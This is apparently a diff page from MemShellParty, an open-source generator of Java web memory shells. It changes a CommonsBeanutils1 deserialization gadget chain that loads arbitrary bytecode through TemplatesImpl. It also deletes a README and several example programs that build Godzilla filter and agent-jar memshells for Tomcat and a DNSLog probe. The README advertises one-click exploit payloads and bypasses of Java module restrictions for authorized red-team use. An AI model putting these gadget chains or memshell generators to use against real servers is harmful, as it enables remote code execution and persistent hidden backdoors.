|
}
|
||||||
}
|
}
|
||||||
+10
-13
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -20,13 +18,12 @@ import java.util.PriorityQueue;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils19Packer implements Packer {
|
public class CommonsBeanutils19 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -38,8 +35,8 @@ public class CommonsBeanutils19Packer implements Packer {
|
|||||||
queue.add("1");
|
queue.add("1");
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.utils;
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
+4
-1
@@ -1,7 +1,10 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.utils;
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||||
import sun.reflect.ReflectionFactory;
|
import sun.reflect.ReflectionFactory;
|
||||||
|
import sun.security.pkcs.PKCS9Attributes;
|
||||||
|
|
||||||
|
import java.lang.reflect.AccessibleObject;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload;
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
|
||||||
|
|
||||||
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
|
||||||
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
|
||||||
</div>
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
|
||||||
[](https://party.mem.mk)
|
|
||||||
</div>
|
|
||||||
|
|
||||||
> [!WARNING]
|
|
||||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
|
||||||
|
|
||||||
> [!TIP]
|
|
||||||
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
|
||||||
|
|
||||||
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
|
||||||
|
|
||||||
<p align="center">
|
|
||||||
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
|
||||||
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
|
||||||
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
|
||||||
</p>
|
|
||||||
|
|
||||||
## Key Features
|
|
||||||
|
|
||||||
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
|
||||||
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
|
||||||
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
|
||||||
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
|
||||||
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
|
||||||
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
|
||||||
|
|
||||||
## Quick Start
|
|
||||||
|
|
||||||
### Read Before Use
|
|
||||||
|
|
||||||
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
|
||||||
|
|
||||||
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
|
||||||
|
|
||||||
### Online Site
|
|
||||||
|
|
||||||
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
|
||||||
|
|
||||||
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
|
||||||
|
|
||||||
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
|
||||||
|
|
||||||
### Local Deployment (Recommended)
|
|
||||||
|
|
||||||
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
|
||||||
|
|
||||||
After deploying with Docker, access http://127.0.0.1:8080
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Pull the latest image from Docker Hub
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
|
|
||||||
# Pull the latest image from Github Container Registry
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
|
||||||
|
|
||||||
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
## Special Thanks
|
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
|
||||||
<modelVersion>4.0.0</modelVersion>
|
|
||||||
|
|
||||||
<groupId>com.reajason.javaweb.maven</groupId>
|
|
||||||
<artifactId>memshell-party-maven-example</artifactId>
|
|
||||||
<version>1.0-SNAPSHOT</version>
|
|
||||||
|
|
||||||
<properties>
|
|
||||||
<maven.compiler.source>8</maven.compiler.source>
|
|
||||||
<maven.compiler.target>8</maven.compiler.target>
|
|
||||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
|
||||||
</properties>
|
|
||||||
|
|
||||||
<dependencies>
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>packer</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
|
||||||
</dependencies>
|
|
||||||
|
|
||||||
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
|
||||||
<repositories>
|
|
||||||
<repository>
|
|
||||||
<name>Central Portal Snapshots</name>
|
|
||||||
<id>central-portal-snapshots</id>
|
|
||||||
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
|
||||||
<releases>
|
|
||||||
<enabled>false</enabled>
|
|
||||||
</releases>
|
|
||||||
<snapshots>
|
|
||||||
<enabled>true</enabled>
|
|
||||||
</snapshots>
|
|
||||||
</repository>
|
|
||||||
</repositories>
|
|
||||||
</project>
|
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class DnsLogProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.DNSLog)
|
|
||||||
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
|
||||||
.host("xxx.dns.log")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-50
@@ -1,50 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class Godzilla {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-57
@@ -1,57 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class GodzillaAgent {
|
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-35
@@ -1,35 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class ResponseBodyProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
|
||||||
.probeContent(ProbeContent.Command)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.reqHeaderName("X-Echo")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user